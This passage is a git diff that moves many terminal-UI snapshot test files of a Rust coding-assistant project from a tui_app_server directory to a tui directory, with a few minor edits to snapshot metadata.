b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap similarity index 83% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap index 989f80f572..658d8c84ee 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap @@ -1,6 +1,6 @@ --- source: tui/src/bottom_pane/approval_overlay.rs -expression: "render_overlay_lines(&view, 120)" +expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" --- Would you like to run the following command? diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap index ddd106c638..69f3847ad1 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap @@ -2,6 +2,7 @@ source: tui/src/bottom_pane/approval_overlay.rs expression: "render_overlay_lines(&view, 80)" --- + Would you like to run the following command? Thread: Robie [explorer] diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap index 612563fe1c..aad5f89aa4 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/approval_overlay.rs -assertion_line: 821 expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap similarity index 95% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap index df8ea36e63..ff5628a2f3 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/chat_composer.rs -assertion_line: 2385 expression: terminal.backend() --- " " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap similarity index 100% rename from 